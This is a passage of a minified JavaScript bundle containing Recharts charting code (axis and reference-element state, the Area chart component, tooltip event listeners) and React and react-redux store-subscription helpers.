e.yAxis[t.payload.id]},prepare:He()},addZAxis:{reducer(e,t){e.zAxis[t.payload.id]=t.payload},prepare:He()},replaceZAxis:{reducer(e,t){var{prev:n,next:r}=t.payload;e.zAxis[n.id]!==void 0&&(n.id!==r.id&&delete e.zAxis[n.id],e.zAxis[r.id]=r)},prepare:He()},removeZAxis:{reducer(e,t){delete e.zAxis[t.payload.id]},prepare:He()},updateYAxisWidth(e,t){var{id:n,width:r}=t.payload,i=e.yAxis[n];if(i){var s,o=i.widthHistory||[];if(o.length===3&&o[0]===o[2]&&r===o[1]&&r!==i.width&&Math.abs(r-((s=o[0])!==null&&s!==void 0?s:0))<=1)return;var l=[...o,r].slice(-3);e.yAxis[n]=jb(jb({},i),{},{width:r,widthHistory:l})}}}}),{addXAxis:cH,replaceXAxis:uH,removeXAxis:dH,addYAxis:fH,replaceYAxis:mH,removeYAxis:pH,addZAxis:hH,replaceZAxis:xH,removeZAxis:vH,updateYAxisWidth:gH}=Az.actions,EF=Az.reducer,_F=I([kt],e=>({top:e.top,bottom:e.bottom,left:e.left,right:e.right})),AF=I([_F,Hr,Kr],(e,t,n)=>{if(!(!e||t==null||n==null))return{x:e.left,y:e.top,width:Math.max(0,t-e.left-e.right),height:Math.max(0,n-e.top-e.bottom)}}),gv=()=>je(AF),OF=()=>je(kR);function Nb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Cm(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?Nb(Object(n),!0).forEach(function(r){TF(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Nb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function TF(e,t,n){return(t=MF(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function MF(e){var t=LF(e,"string");return typeof t=="symbol"?t:t+""}function LF(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var IF=e=>{var{point:t,childIndex:n,mainColor:r,activeDot:i,dataKey:s,clipPath:o}=e;if(i===!1||t.x==null||t.y==null)return null;var l={index:n,dataKey:s,cx:t.x,cy:t.y,r:4,fill:r??"none",strokeWidth:2,stroke:"#fff",payload:t.payload,value:t.value},c=Cm(Cm(Cm({},l),Do(i)),Ix(i)),u;return m.isValidElement(i)?u=m.cloneElement(i,c):typeof i=="function"?u=i(c):u=m.createElement(xz,c),m.createElement(tn,{className:"recharts-active-dot",clipPath:o},u)};function kb(e){var{points:t,mainColor:n,activeDot:r,itemDataKey:i,clipPath:s,zIndex:o=Zt.activeDot}=e,l=je(ps),c=OF();if(t==null||c==null)return null;var u=t.find(d=>c.includes(d.payload));return Mt(u)?null:m.createElement(Mi,{zIndex:o},m.createElement(IF,{point:u,childIndex:Number(l),mainColor:n,dataKey:i,activeDot:r,clipPath:s}))}var Oz=e=>{var{chartData:t}=e,n=ot(),r=Jn();return m.useEffect(()=>r?()=>{}:(n(D2(t)),()=>{n(D2(void 0))}),[t,n,r]),null},zb={x:0,y:0,width:0,height:0,padding:{top:0,right:0,bottom:0,left:0}},Tz=nn({name:"brush",initialState:zb,reducers:{setBrushSettings(e,t){return t.payload==null?zb:t.payload}}}),{setBrushSettings:yH}=Tz.actions,DF=Tz.reducer,RF={dots:[],areas:[],lines:[]},Mz=nn({name:"referenceElements",initialState:RF,reducers:{addDot:(e,t)=>{e.dots.push(t.payload)},removeDot:(e,t)=>{var n=Yn(e).dots.findIndex(r=>r===t.payload);n!==-1&&e.dots.splice(n,1)},addArea:(e,t)=>{e.areas.push(t.payload)},removeArea:(e,t)=>{var n=Yn(e).areas.findIndex(r=>r===t.payload);n!==-1&&e.areas.splice(n,1)},addLine:(e,t)=>{e.lines.push(t.payload)},removeLine:(e,t)=>{var n=Yn(e).lines.findIndex(r=>r===t.payload);n!==-1&&e.lines.splice(n,1)}}}),{addDot:bH,removeDot:wH,addArea:jH,removeArea:NH,addLine:kH,removeLine:zH}=Mz.actions,$F=Mz.reducer,BF=m.createContext(void 0),FF=e=>{var{children:t}=e,[n]=m.useState("".concat($o("recharts"),"-clip")),r=gv();if(r==null)return null;var{x:i,y:s,width:o,height:l}=r;return m.createElement(BF.Provider,{value:n},m.createElement("defs",null,m.createElement("clipPath",{id:n},m.createElement("rect",{x:i,y:s,height:l,width:o}))),t)},WF={},Lz=nn({name:"errorBars",initialState:WF,reducers:{addErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]||(e[n]=[]),e[n].push(r)},replaceErrorBar:(e,t)=>{var{itemId:n,prev:r,next:i}=t.payload;e[n]&&(e[n]=e[n].map(s=>s.dataKey===r.dataKey&&s.direction===r.direction?i:s))},removeErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]&&(e[n]=e[n].filter(i=>i.dataKey!==r.dataKey||i.direction!==r.direction))}}}),{addErrorBar:SH,replaceErrorBar:CH,removeErrorBar:PH}=Lz.actions,UF=Lz.reducer;function Iz(e,t){var n,r,i=je(u=>qr(u,e)),s=je(u=>Xr(u,t)),o=(n=i==null?void 0:i.allowDataOverflow)!==null&&n!==void 0?n:Z4.allowDataOverflow,l=(r=s==null?void 0:s.allowDataOverflow)!==null&&r!==void 0?r:Q4.allowDataOverflow,c=o||l;return{needClip:c,needClipX:o,needClipY:l}}function VF(e){var{xAxisId:t,yAxisId:n,clipPathId:r}=e,i=gv(),{needClipX:s,needClipY:o,needClip:l}=Iz(t,n);if(!l||!i)return null;var{x:c,y:u,width:d,height:f}=i;return m.createElement("clipPath",{id:"clipPath-".concat(r)},m.createElement("rect",{x:s?c:c-d/2,y:o?u:u-f/2,width:s?d:d*2,height:o?f:f*2}))}function HF(e){var t=Do(e),n=3,r=2;if(t!=null){var{r:i,strokeWidth:s}=t,o=Number(i),l=Number(s);return(Number.isNaN(o)||o<0)&&(o=n),(Number.isNaN(l)||l<0)&&(l=r),{r:o,strokeWidth:l}}return{r:n,strokeWidth:r}}var KF={};/**
|
||
* @license React
|
||
* use-sync-external-store-with-selector.production.js
|
||
*
|
||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||
*
|
||
* This source code is licensed under the MIT license found in the
|
||
* LICENSE file in the root directory of this source tree.
|
||
*/var Nl=m;function GF(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var YF=typeof Object.is=="function"?Object.is:GF,qF=Nl.useSyncExternalStore,XF=Nl.useRef,ZF=Nl.useEffect,QF=Nl.useMemo,JF=Nl.useDebugValue;KF.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var s=XF(null);if(s.current===null){var o={hasValue:!1,value:null};s.current=o}else o=s.current;s=QF(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,YF(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,p=n===void 0?null:n;return[function(){return c(t())},p===null?void 0:function(){return c(p())}]},[t,n,r,i]);var l=qF(e,s[0],s[1]);return ZF(function(){o.hasValue=!0,o.value=l},[l]),JF(l),l};function eW(e){e()}function tW(){let e=null,t=null;return{clear(){e=null,t=null},notify(){eW(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var Sb={notify(){},get:()=>[]};function nW(e,t){let n,r=Sb,i=0,s=!1;function o(g){d();const y=r.subscribe(g);let v=!1;return()=>{v||(v=!0,y(),f())}}function l(){r.notify()}function c(){x.onStateChange&&x.onStateChange()}function u(){return s}function d(){i++,n||(n=e.subscribe(c),r=tW())}function f(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=Sb)}function p(){s||(s=!0,d())}function h(){s&&(s=!1,f())}const x={addNestedSub:o,notifyNestedSubs:l,handleChangeWrapper:c,isSubscribed:u,trySubscribe:p,tryUnsubscribe:h,getListeners:()=>r};return x}var rW=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",iW=rW(),aW=()=>typeof navigator<"u"&&navigator.product==="ReactNative",sW=aW(),oW=()=>iW||sW?m.useLayoutEffect:m.useEffect,lW=oW();function Cb(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function cW(e,t){if(Cb(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i<n.length;i++)if(!Object.prototype.hasOwnProperty.call(t,n[i])||!Cb(e[n[i]],t[n[i]]))return!1;return!0}var Pm=Symbol.for("react-redux-context"),Em=typeof globalThis<"u"?globalThis:{};function uW(){if(!m.createContext)return{};const e=Em[Pm]??(Em[Pm]=new Map);let t=e.get(m.createContext);return t||(t=m.createContext(null),e.set(m.createContext,t)),t}var dW=uW();function fW(e){const{children:t,context:n,serverState:r,store:i}=e,s=m.useMemo(()=>{const c=nW(i);return{store:i,subscription:c,getServerState:r?()=>r:void 0}},[i,r]),o=m.useMemo(()=>i.getState(),[i]);lW(()=>{const{subscription:c}=s;return c.onStateChange=c.notifyNestedSubs,c.trySubscribe(),o!==i.getState()&&c.notifyNestedSubs(),()=>{c.tryUnsubscribe(),c.onStateChange=void 0}},[s,o]);const l=n||dW;return m.createElement(l.Provider,{value:s},t)}var mW=fW,pW=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function hW(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function Dz(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(pW.has(r)){if(e[r]==null&&t[r]==null)continue;if(!cW(e[r],t[r]))return!1}else if(!hW(e[r],t[r]))return!1;return!0}function yv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:_z}function bv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:_z}var Rz=(e,t,n)=>w3(e,"xAxis",yv(e,t),n),$z=(e,t,n)=>b3(e,"xAxis",yv(e,t),n),Bz=(e,t,n)=>w3(e,"yAxis",bv(e,t),n),Fz=(e,t,n)=>b3(e,"yAxis",bv(e,t),n),xW=I([De,Rz,Bz,$z,Fz],(e,t,n,r,i)=>vr(e,"xAxis")?xu(t,r,!1):xu(n,i,!1)),vW=(e,t)=>t,Wz=I([e3,vW],(e,t)=>e.filter(n=>n.type==="area").find(n=>n.id===t)),Uz=e=>{var t=De(e),n=vr(t,"xAxis");return n?"yAxis":"xAxis"},gW=(e,t)=>{var n=Uz(e);return n==="yAxis"?bv(e,t):yv(e,t)},yW=(e,t,n)=>a3(e,Uz(e),gW(e,t),n),bW=I([Wz,yW],(e,t)=>{var n;if(!(e==null||t==null)){var{stackId:r}=e,i=L0(e);if(!(r==null||i==null)){var s=(n=t[r])===null||n===void 0?void 0:n.stackedData,o=s==null?void 0:s.find(l=>l.key===i);if(o!=null)return o.map(l=>[l[0],l[1]])}}}),wW=I([De,Rz,Bz,$z,Fz,bW,uI,xW,Wz,yI],(e,t,n,r,i,s,o,l,c,u)=>{var{chartData:d,dataStartIndex:f,dataEndIndex:p}=o;if(!(c==null||e!=="horizontal"&&e!=="vertical"||t==null||n==null||r==null||i==null||r.length===0||i.length===0||l==null)){var{data:h}=c,x;if(h&&h.length>0?x=h:x=d==null?void 0:d.slice(f,p+1),x!=null)return BW({layout:e,xAxis:t,yAxis:n,xAxisTicks:r,yAxisTicks:i,dataStartIndex:f,areaSettings:c,stackedData:s,displayedData:x,chartBaseValue:u,bandSize:l})}}),jW=["id"],NW=["activeDot","animationBegin","animationDuration","animationEasing","connectNulls","dot","fill","fillOpacity","hide","isAnimationActive","legendType","stroke","xAxisId","yAxisId"];function na(){return na=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},na.apply(null,arguments)}function Vz(e,t){if(e==null)return{};var n,r,i=kW(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r<s.length;r++)n=s[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function kW(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}function Pb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Va(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?Pb(Object(n),!0).forEach(function(r){zW(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Pb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function zW(e,t,n){return(t=SW(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function SW(e){var t=CW(e,"string");return typeof t=="symbol"?t:t+""}function CW(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function Hu(e,t){return e&&e!=="none"?e:t}var PW=e=>{var{dataKey:t,name:n,stroke:r,fill:i,legendType:s,hide:o}=e;return[{inactive:o,dataKey:t,type:s,color:Hu(r,i),value:Rd(n,t),payload:e}]},EW=m.memo(e=>{var{dataKey:t,data:n,stroke:r,strokeWidth:i,fill:s,name:o,hide:l,unit:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:n,getPosition:bs,settings:{stroke:r,strokeWidth:i,fill:s,dataKey:t,nameKey:void 0,name:Rd(o,t),hide:l,type:u,color:Hu(r,s),unit:c,graphicalItemId:d}};return m.createElement(Sz,{tooltipEntrySettings:f})});function _W(e){var{clipPathId:t,points:n,props:r}=e,{needClip:i,dot:s,dataKey:o}=r,l=Mr(r);return m.createElement(kF,{points:n,dot:s,className:"recharts-area-dots",dotClassName:"recharts-area-dot",dataKey:o,baseProps:l,needClip:i,clipPathId:t})}function AW(e){var{showLabels:t,children:n,points:r}=e,i=r.map(s=>{var o,l,c={x:(o=s.x)!==null&&o!==void 0?o:0,y:(l=s.y)!==null&&l!==void 0?l:0,width:0,lowerWidth:0,upperWidth:0,height:0};return Va(Va({},c),{},{value:s.value,payload:s.payload,parentViewBox:void 0,viewBox:c,fill:void 0})});return m.createElement(B$,{value:t?i:void 0},n)}function Eb(e){var{points:t,baseLine:n,needClip:r,clipPathId:i,props:s}=e,{layout:o,type:l,stroke:c,connectNulls:u,isRange:d}=s,{id:f}=s,p=Vz(s,jW),h=Mr(p),x=Ut(p);return m.createElement(m.Fragment,null,(t==null?void 0:t.length)>1&&m.createElement(tn,{clipPath:r?"url(#clipPath-".concat(i,")"):void 0},m.createElement(Qa,na({},x,{id:f,points:t,connectNulls:u,type:l,baseLine:n,layout:o,stroke:"none",className:"recharts-area-area"})),c!=="none"&&m.createElement(Qa,na({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:t})),c!=="none"&&d&&m.createElement(Qa,na({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:n}))),m.createElement(_W,{points:t,props:p,clipPathId:i}))}function OW(e){var t,n,{alpha:r,baseLine:i,points:s,strokeWidth:o}=e,l=(t=s[0])===null||t===void 0?void 0:t.y,c=(n=s[s.length-1])===null||n===void 0?void 0:n.y;if(!Ee(l)||!Ee(c))return null;var u=r*Math.abs(l-c),d=Math.max(...s.map(f=>f.x||0));return ge(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.x||0),d)),ge(d)?m.createElement("rect",{x:0,y:l<c?l:l-u,width:d+(o?parseInt("".concat(o),10):1),height:Math.floor(u)}):null}function TW(e){var t,n,{alpha:r,baseLine:i,points:s,strokeWidth:o}=e,l=(t=s[0])===null||t===void 0?void 0:t.x,c=(n=s[s.length-1])===null||n===void 0?void 0:n.x;if(!Ee(l)||!Ee(c))return null;var u=r*Math.abs(l-c),d=Math.max(...s.map(f=>f.y||0));return ge(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.y||0),d)),ge(d)?m.createElement("rect",{x:l<c?l:l-u,y:0,width:u,height:Math.floor(d+(o?parseInt("".concat(o),10):1))}):null}function MW(e){var{alpha:t,layout:n,points:r,baseLine:i,strokeWidth:s}=e;return n==="vertical"?m.createElement(OW,{alpha:t,points:r,baseLine:i,strokeWidth:s}):m.createElement(TW,{alpha:t,points:r,baseLine:i,strokeWidth:s})}function LW(e){var{needClip:t,clipPathId:n,props:r,previousPointsRef:i,previousBaselineRef:s}=e,{points:o,baseLine:l,isAnimationActive:c,animationBegin:u,animationDuration:d,animationEasing:f,onAnimationStart:p,onAnimationEnd:h}=r,x=m.useMemo(()=>({points:o,baseLine:l}),[o,l]),g=qd(x,"recharts-area-"),y=iM(),[v,b]=m.useState(!1),w=!v,j=m.useCallback(()=>{typeof h=="function"&&h(),b(!1)},[h]),N=m.useCallback(()=>{typeof p=="function"&&p(),b(!0)},[p]);if(y==null)return null;var k=i.current,z=s.current;return m.createElement(AW,{showLabels:w,points:o},r.children,m.createElement(Yd,{animationId:g,begin:u,duration:d,isActive:c,easing:f,onAnimationEnd:j,onAnimationStart:N,key:g},S=>{if(k){var O=k.length/o.length,A=S===1?o:o.map((P,D)=>{var G=Math.floor(D*O);if(k[G]){var R=k[G];return Va(Va({},P),{},{x:At(R.x,P.x,S),y:At(R.y,P.y,S)})}return P}),T;return ge(l)?T=At(z,l,S):Mt(l)||mr(l)?T=At(z,0,S):T=l.map((P,D)=>{var G=Math.floor(D*O);if(Array.isArray(z)&&z[G]){var R=z[G];return Va(Va({},P),{},{x:At(R.x,P.x,S),y:At(R.y,P.y,S)})}return P}),S>0&&(i.current=A,s.current=T),m.createElement(Eb,{points:A,baseLine:T,needClip:t,clipPathId:n,props:r})}return S>0&&(i.current=o,s.current=l),m.createElement(tn,null,c&&m.createElement("defs",null,m.createElement("clipPath",{id:"animationClipPath-".concat(n)},m.createElement(MW,{alpha:S,points:o,baseLine:l,layout:y,strokeWidth:r.strokeWidth}))),m.createElement(tn,{clipPath:"url(#animationClipPath-".concat(n,")")},m.createElement(Eb,{points:o,baseLine:l,needClip:t,clipPathId:n,props:r})))}),m.createElement(hz,{label:r.label}))}function IW(e){var{needClip:t,clipPathId:n,props:r}=e,i=m.useRef(null),s=m.useRef();return m.createElement(LW,{needClip:t,clipPathId:n,props:r,previousPointsRef:i,previousBaselineRef:s})}class DW extends m.PureComponent{render(){var{hide:t,dot:n,points:r,className:i,top:s,left:o,needClip:l,xAxisId:c,yAxisId:u,width:d,height:f,id:p,baseLine:h,zIndex:x}=this.props;if(t)return null;var g=Qe("recharts-area",i),y=p,{r:v,strokeWidth:b}=HF(n),w=kz(n),j=v*2+b,N=l?"url(#clipPath-".concat(w?"":"dots-").concat(y,")"):void 0;return m.createElement(Mi,{zIndex:x},m.createElement(tn,{className:g},l&&m.createElement("defs",null,m.createElement(VF,{clipPathId:y,xAxisId:c,yAxisId:u}),!w&&m.createElement("clipPath",{id:"clipPath-dots-".concat(y)},m.createElement("rect",{x:o-j/2,y:s-j/2,width:d+j,height:f+j}))),m.createElement(IW,{needClip:l,clipPathId:y,props:this.props})),m.createElement(kb,{points:r,mainColor:Hu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:N}),this.props.isRange&&Array.isArray(h)&&m.createElement(kb,{points:h,mainColor:Hu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:N}))}}var Hz={activeDot:!0,animationBegin:0,animationDuration:1500,animationEasing:"ease",connectNulls:!1,dot:!1,fill:"#3182bd",fillOpacity:.6,hide:!1,isAnimationActive:"auto",legendType:"line",stroke:"#3182bd",strokeWidth:1,type:"linear",label:!1,xAxisId:0,yAxisId:0,zIndex:Zt.area};function RW(e){var t,n=gn(e,Hz),{activeDot:r,animationBegin:i,animationDuration:s,animationEasing:o,connectNulls:l,dot:c,fill:u,fillOpacity:d,hide:f,isAnimationActive:p,legendType:h,stroke:x,xAxisId:g,yAxisId:y}=n,v=Vz(n,NW),b=ws(),w=H3(),{needClip:j}=Iz(g,y),N=Jn(),{points:k,isRange:z,baseLine:S}=(t=je(G=>wW(G,e.id,N)))!==null&&t!==void 0?t:{},O=gv();if(b!=="horizontal"&&b!=="vertical"||O==null||w!=="AreaChart"&&w!=="ComposedChart")return null;var{height:A,width:T,x:P,y:D}=O;return!k||!k.length?null:m.createElement(DW,na({},v,{activeDot:r,animationBegin:i,animationDuration:s,animationEasing:o,baseLine:S,connectNulls:l,dot:c,fill:u,fillOpacity:d,height:A,hide:f,layout:b,isAnimationActive:p==="auto"?!Gd.isSsr:p,isRange:z,legendType:h,needClip:j,points:k,stroke:x,width:T,left:P,top:D,xAxisId:g,yAxisId:y}))}var $W=(e,t,n,r,i)=>{var s=n??t;if(ge(s))return s;var o=e==="horizontal"?i:r,l=o.scale.domain();if(o.type==="number"){var c=Math.max(l[0],l[1]),u=Math.min(l[0],l[1]);return s==="dataMin"?u:s==="dataMax"||c<0?c:Math.max(Math.min(l[0],l[1]),0)}return s==="dataMin"?l[0]:s==="dataMax"?l[1]:l[0]};function BW(e){var{areaSettings:{connectNulls:t,baseValue:n,dataKey:r},stackedData:i,layout:s,chartBaseValue:o,xAxis:l,yAxis:c,displayedData:u,dataStartIndex:d,xAxisTicks:f,yAxisTicks:p,bandSize:h}=e,x=i&&i.length,g=$W(s,o,n,l,c),y=s==="horizontal",v=!1,b=u.map((j,N)=>{var k,z,S,O;if(x)O=i[d+N];else{var A=Ve(j,r);Array.isArray(A)?(O=A,v=!0):O=[g,A]}var T=(k=(z=O)===null||z===void 0?void 0:z[1])!==null&&k!==void 0?k:null,P=T==null||x&&!t&&Ve(j,r)==null;if(y){var D;return{x:My({axis:l,ticks:f,bandSize:h,entry:j,index:N}),y:P?null:(D=c.scale.map(T))!==null&&D!==void 0?D:null,value:O,payload:j}}return{x:P?null:(S=l.scale.map(T))!==null&&S!==void 0?S:null,y:My({axis:c,ticks:p,bandSize:h,entry:j,index:N}),value:O,payload:j}}),w;return x||v?w=b.map(j=>{var N,k=Array.isArray(j.value)?j.value[0]:null;if(y){var z;return{x:j.x,y:k!=null&&j.y!=null&&(z=c.scale.map(k))!==null&&z!==void 0?z:null,payload:j.payload}}return{x:k!=null&&(N=l.scale.map(k))!==null&&N!==void 0?N:null,y:j.y,payload:j.payload}}):w=y?c.scale.map(g):l.scale.map(g),{points:b,baseLine:w??0,isRange:v}}function FW(e){var t=gn(e,Hz),n=Jn();return m.createElement(Cz,{id:t.id,type:"area"},r=>m.createElement(m.Fragment,null,m.createElement(_B,{legendPayload:PW(t)}),m.createElement(EW,{dataKey:t.dataKey,data:t.data,stroke:t.stroke,strokeWidth:t.strokeWidth,fill:t.fill,name:t.name,hide:t.hide,unit:t.unit,tooltipType:t.tooltipType,id:r}),m.createElement(VB,{type:"area",id:r,data:t.data,dataKey:t.dataKey,xAxisId:t.xAxisId,yAxisId:t.yAxisId,zAxisId:0,stackId:kT(t.stackId),hide:t.hide,barSize:void 0,baseValue:t.baseValue,isPanorama:n,connectNulls:t.connectNulls}),m.createElement(RW,na({},t,{id:r}))))}var Kz=m.memo(FW,Dz);Kz.displayName="Area";var WW=(e,t)=>t,wv=I([WW,De,Y4,St,R3,Zr,IR,kt],UR),jv=e=>{var t=e.currentTarget.getBoundingClientRect(),n=t.width/e.currentTarget.offsetWidth,r=t.height/e.currentTarget.offsetHeight;return{chartX:Math.round((e.clientX-t.left)/n),chartY:Math.round((e.clientY-t.top)/r)}},Gz=On("mouseClick"),Yz=ll();Yz.startListening({actionCreator:Gz,effect:(e,t)=>{var n=e.payload,r=wv(t.getState(),jv(n));(r==null?void 0:r.activeIndex)!=null&&t.dispatch(LD({activeIndex:r.activeIndex,activeDataKey:void 0,activeCoordinate:r.activeCoordinate}))}});var zh=On("mouseMove"),qz=ll(),rc=null;qz.startListening({actionCreator:zh,effect:(e,t)=>{var n=e.payload;rc!==null&&cancelAnimationFrame(rc);var r=jv(n);rc=requestAnimationFrame(()=>{var i=t.getState(),s=rv(i,i.tooltip.settings.shared);if(s==="axis"){var o=wv(i,r);(o==null?void 0:o.activeIndex)!=null?t.dispatch(E3({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate})):t.dispatch(P3())}rc=null})}});function UW(e,t){return t instanceof HTMLElement?"HTMLElement <".concat(t.tagName,' class="').concat(t.className,'">'):t===window?"global.window":e==="children"&&typeof t=="object"&&t!==null?"<<CHILDREN>>":t}var _b={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,barSize:void 0,className:void 0,maxBarSize:void 0,stackOffset:"none",syncId:void 0,syncMethod:"index",baseValue:void 0,reverseStackOrder:!1},Xz=nn({name:"rootProps",initialState:_b,reducers:{updateOptions:(e,t)=>{var n;e.accessibilityLayer=t.payload.accessibilityLayer,e.barCategoryGap=t.payload.barCategoryGap,e.barGap=(n=t.payload.barGap)!==null&&n!==void 0?n:_b.barGap,e.barSize=t.payload.barSize,e.maxBarSize=t.payload.maxBarSize,e.stackOffset=t.payload.stackOffset,e.syncId=t.payload.syncId,e.syncMethod=t.payload.syncMethod,e.className=t.payload.className,e.baseValue=t.payload.baseValue,e.reverseStackOrder=t.payload.reverseStackOrder}}}),VW=Xz.reducer,{updateOptions:HW}=Xz.actions,KW=null,GW={updatePolarOptions:(e,t)=>t.payload},Zz=nn({name:"polarOptions",initialState:KW,reducers:GW}),{updatePolarOptions:YW}=Zz.actions,qW=Zz.reducer,Qz=On("keyDown"),Jz=On("focus"),Nv=ll();Nv.startListening({actionCreator:Qz,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip,s=e.payload;if(!(s!=="ArrowRight"&&s!=="ArrowLeft"&&s!=="Enter")){var o=iv(i,_s(n),yl(n),wl(n)),l=o==null?-1:Number(o);if(!(!Number.isFinite(l)||l<0)){var c=Zr(n);if(s==="Enter"){var u=$u(n,"axis","hover",String(i.index));t.dispatch(bh({active:!i.active,activeIndex:i.index,activeCoordinate:u}));return}var d=zD(n),f=d==="left-to-right"?1:-1,p=s==="ArrowRight"?1:-1,h=l+p*f;if(!(c==null||h>=c.length||h<0)){var x=$u(n,"axis","hover",String(h));t.dispatch(bh({active:!0,activeIndex:h.toString(),activeCoordinate:x}))}}}}}});Nv.startListening({actionCreator:Jz,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip;if(!i.active&&i.index==null){var s="0",o=$u(n,"axis","hover",String(s));t.dispatch(bh({active:!0,activeIndex:s,activeCoordinate:o}))}}}});var kn=On("externalEvent"),eS=ll(),_m=new Map;eS.startListening({actionCreator:kn,effect:(e,t)=>{var{handler:n,reactEvent:r}=e.payload;if(n!=null){r.persist();var i=r.type,s=_m.get(i);s!==void 0&&cancelAnimationFrame(s);var o=requestAnimationFrame(()=>{try{var l=t.getState(),c={activeCoordinate:wR(l),activeDataKey:W3(l),activeIndex:ps(l),activeLabel:F3(l),activeTooltipIndex:ps(l),isTooltipActive:jR(l)};n(c,r)}finally{_m.delete(i)}});_m.set(i,o)}}});var XW=I([Ps],e=>e.tooltipItemPayloads),ZW=I([XW,(e,t)=>t,(e,t,n)=>n],(e,t,n)=>{if(t!=null){var r=e.find(s=>s.settings.graphicalItemId===n);if(r!=null){var{getPosition:i}=r;if(i!=null)return i(t)}}}),tS=On("touchMove"),nS=ll();nS.startListening({actionCreator:tS,effect:(e,t)=>{var n=e.payload;if(!(n.touches==null||n.touches.length===0)){var r=t.getState(),i=rv(r,r.tooltip.settings.shared);if(i==="axis"){var s=n.touches[0];if(s==null)return;var o=wv(r,jv({clientX:s.clientX,clientY:s.clientY,currentTarget:n.currentTarget}));(o==null?void 0:o.activeIndex)!=null&&t.dispatch(E3({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate}))}else if(i==="item"){var l,c=n.touches[0];if(document.elementFromPoint==null||c==null)return;var u=document.elementFromPoint(c.clientX,c.clientY);if(!u||!u.getAttribute)return;var d=u.getAttribute(vk),f=(l=u.getAttribute(gk))!==null&&l!==void 0?l:void 